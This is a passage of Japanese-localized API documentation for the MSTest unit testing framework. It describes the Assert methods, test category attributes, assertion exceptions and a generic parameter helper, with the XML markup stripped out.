である場合に、例外を再スローする - - アサーション例外である場合に再スローされる例外 - - - - このクラスは、ジェネリック型を使用する型の単体テストを実行するユーザーを支援するように設計されています。 - GenericParameterHelper は、次のようないくつかの共通ジェネリック型制約を - 満たしています: - 1. パブリックの既定のコンストラクター - 2. 共通インターフェイスを実装します: IComparable、IEnumerable - - - - - C# ジェネリックの 'newable' 制約を満たす - クラスの新しいインスタンスを初期化します。 - - - This constructor initializes the Data property to a random value. - - - - - Data プロパティをユーザー指定の値に初期化する クラスの - 新しいインスタンスを初期化します。 - - 任意の整数値 - - - - データを取得または設定する - - - - - 2 つの GenericParameterHelper オブジェクトの値の比較を実行する - - 次との比較を実行するオブジェクト - オブジェクトの値が 'this' GenericParameterHelper オブジェクトと同じ値である場合は true。 - それ以外の場合は、false。 - - - - このオブジェクトのハッシュコードを返します。 - - ハッシュ コード。 - - - - 2 つの オブジェクトのデータを比較します。 - - 比較対象のオブジェクト。 - - このインスタンスと値の相対値を示す符号付きの数値。 - - - Thrown when the object passed in is not an instance of . - - - - - 長さが Data プロパティから派生している IEnumerator オブジェクト - を返します。 - - IEnumerator オブジェクト - - - - 現在のオブジェクトに相当する GenericParameterHelper - オブジェクトを返します。 - - 複製されたオブジェクト。 - - - - ユーザーが診断用に単体テストからトレースをログ記録/書き込みできるようにします。 - - - - - LogMessage のハンドラー。 - - ログに記録するメッセージ。 - - - - リッスンするイベント。単体テスト ライターがメッセージを書き込むときに発生します。 - 主にアダプターによって消費されます。 - - - - - テスト ライターがメッセージをログ記録するために呼び出す API。 - - プレースホルダーを含む文字列形式。 - プレースホルダーのパラメーター。 - - - - TestCategory 属性。単体テストのカテゴリを指定するために使用されます。 - - - - - クラスの新しいインスタンスを初期化し、カテゴリをテストに適用します。 - - - テスト カテゴリ。 - - - - - テストに適用されているテスト カテゴリを取得します。 - - - - - "Category" 属性の基底クラス - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - クラスの新しいインスタンスを初期化します。 - カテゴリをテストに適用します。TestCategories で返される文字列は - テストをフィルター処理する /category コマンドで使用されます - - - - - テストに適用されているテスト カテゴリを取得します。 - - - - - AssertFailedException クラス。テスト ケースのエラーを示すために使用されます - - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - - - - クラスの新しいインスタンスを初期化します。 - - - - - 単体テスト内のさまざまな条件をテストするヘルパー クラスの - コレクション。テスト対象の条件を満たしていない場合は、 - 例外がスローされます。 - - - - - Assert 機能の単一インスタンスを取得します。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 指定した条件が true であるかどうかをテストして、条件が false の場合は - 例外をスローします。 - - - テストで true であることが予期される条件。 - - - Thrown if is false. - - - - - 指定した条件が true であるかどうかをテストして、条件が false の場合は - 例外をスローします。 - - - テストで true であることが予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - false の場合。メッセージはテスト結果に表示されます。 - - - Thrown if is false. - - - - - 指定した条件が true であるかどうかをテストして、条件が false の場合は - 例外をスローします。 - - - テストで true であることが予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - false の場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is false. - - - - - 指定した条件が false であるかどうかをテストして、 - 条件が true である場合は例外をスローします。 - - - テストで false であると予期される条件。 - - - Thrown if is true. - - - - - 指定した条件が false であるかどうかをテストして、 - 条件が true である場合は例外をスローします。 - - - テストで false であると予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - true の場合。メッセージはテスト結果に表示されます。 - - - Thrown if is true. - - - - - 指定した条件が false であるかどうかをテストして、 - 条件が true である場合は例外をスローします。 - - - テストで false であると予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - true の場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is true. - - - - - 指定したオブジェクトが null であるかどうかをテストして、 - null でない場合は例外をスローします。 - - - テストで null であると予期されるオブジェクト。 - - - Thrown if is not null. - - - - - 指定したオブジェクトが null であるかどうかをテストして、 - null でない場合は例外をスローします。 - - - テストで null であると予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null でない場合。メッセージはテスト結果に表示されます。 - - - Thrown if is not null. - - - - - 指定したオブジェクトが null であるかどうかをテストして、 - null でない場合は例外をスローします。 - - - テストで null であると予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null でない場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not null. - - - - - 指定したオブジェクトが null 以外であるかどうかをテストして、 - null である場合は例外をスローします。 - - - テストで null 出ないと予期されるオブジェクト。 - - - Thrown if is null. - - - - - 指定したオブジェクトが null 以外であるかどうかをテストして、 - null である場合は例外をスローします。 - - - テストで null 出ないと予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null である場合。メッセージはテスト結果に表示されます。 - - - Thrown if is null. - - - - - 指定したオブジェクトが null 以外であるかどうかをテストして、 - null である場合は例外をスローします。 - - - テストで null 出ないと予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null である場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is null. - - - - - 指定した両方のオブジェクトが同じオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照しない場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで予期される値です。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - Thrown if does not refer to the same object - as . - - - - - 指定した両方のオブジェクトが同じオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照しない場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで予期される値です。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not refer to the same object - as . - - - - - 指定した両方のオブジェクトが同じオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照しない場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで予期される値です。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not refer to the same object - as . - - - - - 指定したオブジェクトが別のオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照する場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - Thrown if refers to the same object - as . - - - - - 指定したオブジェクトが別のオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照する場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - と同じである場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if refers to the same object - as . - - - - - 指定したオブジェクトが別のオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照する場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - と同じである場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if refers to the same object - as . - - - - - 指定した値どうしが等しいかどうかをテストして、 - 2 つの値が等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで予期される値です。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - Thrown if is not equal to . - - - - - 指定した値どうしが等しいかどうかをテストして、 - 2 つの値が等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで予期される値です。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定した値どうしが等しいかどうかをテストして、 - 2 つの値が等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで予期される値です。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定した値どうしが等しくないかどうかをテストして、 - 2 つの値が等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - Thrown if is equal to . - - - - - 指定した値どうしが等しくないかどうかをテストして、 - 2 つの値が等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した値どうしが等しくないかどうかをテストして、 - 2 つの値が等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトどうしが等しいかどうかをテストして、 - 2 つのオブジェクトが等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで予期されるオブジェクトです。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - Thrown if is not equal to - . - - - - - 指定したオブジェクトどうしが等しいかどうかをテストして、 - 2 つのオブジェクトが等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで予期されるオブジェクトです。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定したオブジェクトどうしが等しいかどうかをテストして、 - 2 つのオブジェクトが等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで予期されるオブジェクトです。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定したオブジェクトどうしが等しくないかどうかをテストして、 - 2 つのオブジェクトが等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトどうしが等しくないかどうかをテストして、 - 2 つのオブジェクトが等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトどうしが等しくないかどうかをテストして、 - 2 つのオブジェクトが等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した浮動小数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで予期される浮動小数です。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - Thrown if is not equal to - . - - - - - 指定した浮動小数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで予期される浮動小数です。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定した浮動小数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで予期される浮動小数です。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定した浮動小数どうしが等しくないかどうかをテストして、 - 等しい場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで次と一致しないと予期される - 浮動小数です 。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - Thrown if is equal to . - - - - - 指定した浮動小数どうしが等しくないかどうかをテストして、 - 等しい場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで次と一致しないと予期される - 浮動小数です 。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した浮動小数どうしが等しくないかどうかをテストして、 - 等しい場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで次と一致しないと予期される - 浮動小数です 。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した倍精度浮動小数点数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の倍精度浮動小数点型。これはテストで予期される倍精度浮動小数点型です。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - Thrown if is not equal to - . - - - - - 指定した倍精度浮動小数点数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の倍精度浮動小数点型。これはテストで予期される倍精度浮動小数点型です。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is not equal to . - - - - - 指定した倍精度浮動小数点数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の倍精度浮動小数点型。これはテストで予期される倍精度浮動小数点型です。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - 比較する最初の倍精度浮動小数点型。これはテストで次と一致しないと予期される - 倍精度浮動小数点型です 。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - 比較する最初の倍精度浮動小数点型。これはテストで次と一致しないと予期される - 倍精度浮動小数点型です 。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - 比較する最初の倍精度浮動小数点型。これはテストで次と一致しないと予期される - 倍精度浮動小数点型です 。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しくないかどうかをテストして、 - 等しい場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして、 - 等しい場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして、 - 等しい場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして - 等しい場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして - 等しい場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして - 等しい場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトが予期した型のインスタンスであるかどうかをテストして、 - 予期した型がオブジェクトの継承階層にない場合は - 例外をスローします。 - - - テストで特定の型であると予期されるオブジェクト。 - - - 次の予期される型 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが予期した型のインスタンスであるかどうかをテストして、 - 予期した型がオブジェクトの継承階層にない場合は - 例外をスローします。 - - - テストで特定の型であると予期されるオブジェクト。 - - - 次の予期される型 。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが予期した型のインスタンスであるかどうかをテストして、 - 予期した型がオブジェクトの継承階層にない場合は - 例外をスローします。 - - - テストで特定の型であると予期されるオブジェクト。 - - - 次の予期される型 。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが間違った型のインスタンスでないかどうかをテストして、 - 指定した型がオブジェクトの継承階層にある場合は - 例外をスローします。 - - - テストで特定の型でないと予期されるオブジェクト。 - - - 次である型 必要のない。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが間違った型のインスタンスでないかどうかをテストして、 - 指定した型がオブジェクトの継承階層にある場合は - 例外をスローします。 - - - テストで特定の型でないと予期されるオブジェクト。 - - - 次である型 必要のない。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスである場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが間違った型のインスタンスでないかどうかをテストして、 - 指定した型がオブジェクトの継承階層にある場合は - 例外をスローします。 - - - テストで特定の型でないと予期されるオブジェクト。 - - - 次である型 必要のない。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスである場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - AssertFailedException をスローします。 - - - Always thrown. - - - - - AssertFailedException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - Always thrown. - - - - - AssertFailedException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Always thrown. - - - - - AssertInconclusiveException をスローします。 - - - Always thrown. - - - - - AssertInconclusiveException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - Always thrown. - - - - - AssertInconclusiveException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Always thrown. - - - - - 静的な Equals オーバーロードは、2 つの型のインスタンスを比較して参照の等価性を調べる - ために使用されます。2 つのインスタンスを比較して等価性を調べるためにこのメソッドを使用 - することはできません。このオブジェクトは常に Assert.Fail を使用してスロー - します。単体テストでは、Assert.AreEqual および関連するオーバーロードをご使用ください。 - - オブジェクト A - オブジェクト B - 常に false。 - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - 